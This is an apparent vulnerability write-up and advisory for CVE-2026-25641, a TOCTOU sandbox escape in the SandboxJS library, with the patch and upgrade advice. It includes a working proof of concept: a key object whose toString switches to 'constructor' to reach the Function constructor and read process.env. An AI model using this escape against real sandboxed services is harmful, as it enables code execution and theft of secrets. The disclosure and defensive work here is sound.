Feb 7, 2026·6 min read·7 visits
SandboxJS failed to coerce property keys to primitives before validation. Attackers can pass a stateful object as a key that returns a safe string when checked, but 'constructor' when accessed, granting access to the host environment (RCE). CVSS 10.0.
A critical Time-of-Check Time-of-Use (TOCTOU) vulnerability in SandboxJS allows attackers to bypass security restrictions and achieve Remote Code Execution (RCE). By leveraging JavaScript's dynamic type coercion, a malicious object can masquerade as a benign property key during validation checks, only to transform into a forbidden key like 'constructor' during execution.
JavaScript sandboxing is a fool's errand. I say this with love, but trying to restrict a language where [] + {} equals "[object Object]" is like trying to hold water in a sieve. SandboxJS (@nyariv/sandboxjs) is one of the brave libraries attempting this feat, offering a secure environment to run untrusted code. It promises to keep the bad guys out of your process.env and fs modules.
But here's the thing about promises in JavaScript: they are often broken by the language's own flexibility. The core of any JS sandbox is the Executor, a piece of code that intercepts variable access and function calls. It acts as the bouncer, checking every property you try to access. "Are you trying to access prototype? Denied. Are you trying to reach constructor? Get out."
CVE-2026-25641 is the story of how that bouncer got outsmarted by a guest who changed their face the moment the bouncer looked away. It’s a classic Time-of-Check Time-of-Use (TOCTOU) bug, but with a distinct JavaScript flavor: implicit type coercion.
The vulnerability lies deep within src/executor.ts. When you run code like obj[key] inside the sandbox, the library has to verify that key isn't something dangerous. The list of dangerous keys is short but critical: __proto__, prototype, and constructor. Accessing these allows you to climb the prototype chain and break out of the sandbox.
The logic flaw was subtle. The executor took the property key b and performed a security check on it. If the check passed, it then used b to actually access the object. This sounds fine if b is a string. But in JavaScript, property keys don't have to be strings. They can be objects.
If you use an object as a key, the JavaScript engine calls that object's toString() method to figure out what string to use. The flaw was that the sandbox didn't force this conversion before the check. It let the engine do it implicitly twice: once during the security check, and once during the actual property access. This opened a race condition window—not between threads, but between operations.
Let's look at the smoking gun. The vulnerable code in the LispType.Prop handler (which handles property access) looked something like this:
// Vulnerable Logic (Conceptual)
addOps(LispType.Prop, (exec, done, ticks, a, b, ...) => {
// 1. CHECK: Is 'b' a safe property?
if (isUnsafe(b)) { // Implicitly calls b.toString()
return error("Forbidden");
}
// 2. USE: Access the property
const result = a[b]; // Implicitly calls b.toString() AGAIN
done(result);
});The fix, applied in commit 67cb186c41c78c51464f70405504e8ef0a6e43c3, is beautifully simple. It forces b to become a primitive string once, before any logic runs. Once it's a string, it can't change its value.
// Patched Code in src/executor.ts
addOps(LispType.Prop, (exec, done, ticks, a, b: PropertyKey, ...) => {
// ...
if (!isPropertyKey(b)) {
try {
b = `${b}`; // CRITICAL FIX: Explicit coercion happens ONCE here.
} catch (e) {
done(e);
return;
}
}
// Now 'b' is a static string. The check and the use see the exact same value.
const prototypeAccess = typeof a === 'function' || !hasOwnProperty(a, b);
// ...
});By adding b = ${b}, the developers collapsed the quantum state of the malicious object into a single, immutable string.
To exploit this, we don't need buffer overflows or heap spraying. We just need a JavaScript object with a bad attitude. We create an object that counts how many times it has been asked for its name. The first time (during the security check), it says "I am safeProperty." The second time (during execution), it screams "I am constructor!"
Here is the Proof of Concept that nets you a CVSS 10.0 score:
// The Chameleon Attack
const maliciousKey = {
counter: 0,
toString() {
this.counter++;
if (this.counter === 1) {
return "length"; // Benign property for the check
}
return "constructor"; // Malicious property for the access
}
};
// The sandbox checks 'maliciousKey'. toString() returns "length". Check passes.
// The sandbox executes access. toString() returns "constructor".
// We now have the constructor of an object, which is the 'Function' constructor.
const hostFunction = [][maliciousKey];
// Game Over: RCE
hostFunction("return process.env")();Once you have the Function constructor, you are no longer in the sandbox. You are in the host execution environment. You can read environment variables, require modules (if not stripped), or just crash the server.
Why is this a 10.0? Because it requires zero privileges, zero user interaction, and works remotely if the sandbox processes user input. If you are running a service that executes user-submitted scripts (like a rule engine, a plugin system, or an online coding interview platform) using a vulnerable version of SandboxJS, you are effectively giving shell access to the internet.
The attacker bypasses the entire security model of the library. They escape the logical container and execute code with the privileges of the Node.js process running the sandbox. If that process is running as root (please don't do that) or has access to AWS credentials in process.env, the attacker owns your infrastructure.
The mitigation is straightforward: Update to @nyariv/sandboxjs version 0.8.29 immediately. This version includes the patch that enforces explicit key coercion.
For developers building their own sandboxes or validation logic: Never trust the stability of an object. In JavaScript, unless something is a primitive (string, number, boolean, symbol), its value can change between reads. Always coerce inputs to primitives (String(input) or ${input}) before performing security checks. If you validate x and then use x, you have introduced a race condition unless x is immutable.
> [!NOTE]
> If you require high-assurance isolation, consider using process-level isolation like isolated-vm or actual containers/VMs. Library-level sandboxes in dynamic languages are notoriously difficult to secure completely.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@nyariv/sandboxjs nyariv | < 0.8.29 | 0.8.29 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-25641 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-367 (TOCTOU) |
| Attack Vector | Network |
| Impact | Remote Code Execution (RCE) |
| Patch Commit | 67cb186c41c78c51464f70405504e8ef0a6e43c3 |
Time-of-Check Time-of-Use (TOCTOU) Race Condition